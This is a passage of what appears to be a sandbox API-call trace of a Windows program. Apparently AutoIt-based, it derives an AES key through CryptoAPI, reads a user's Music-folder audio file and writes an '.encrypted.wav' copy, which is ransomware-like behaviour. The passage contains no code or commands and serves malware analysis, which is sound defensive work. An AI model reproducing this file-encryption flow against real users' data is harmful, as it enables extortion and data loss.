returned 0 [0027.497] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.498] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.498] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.498] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.498] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.498] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.498] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.498] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.499] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.499] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.499] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.499] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.499] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.499] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.499] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.499] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.500] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.500] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.500] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.500] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.500] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.500] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b720, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.500] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.501] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.501] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.501] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.501] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.501] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.501] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0027.501] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.502] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.502] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.502] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.502] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.503] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\wn2d1y8y7f1tg2r.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.503] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.503] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.503] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.503] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\wn2d1y8y7f1tg2r.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.504] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.504] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.504] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.504] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.505] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.505] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0027.506] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5dc2, lpOverlapped=0x0) returned 1 [0027.507] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.509] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.510] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.510] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.510] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.510] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.511] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.511] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.511] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.511] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.511] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064d40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.511] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.511] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.511] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.511] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.511] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.512] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.512] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.512] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.512] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 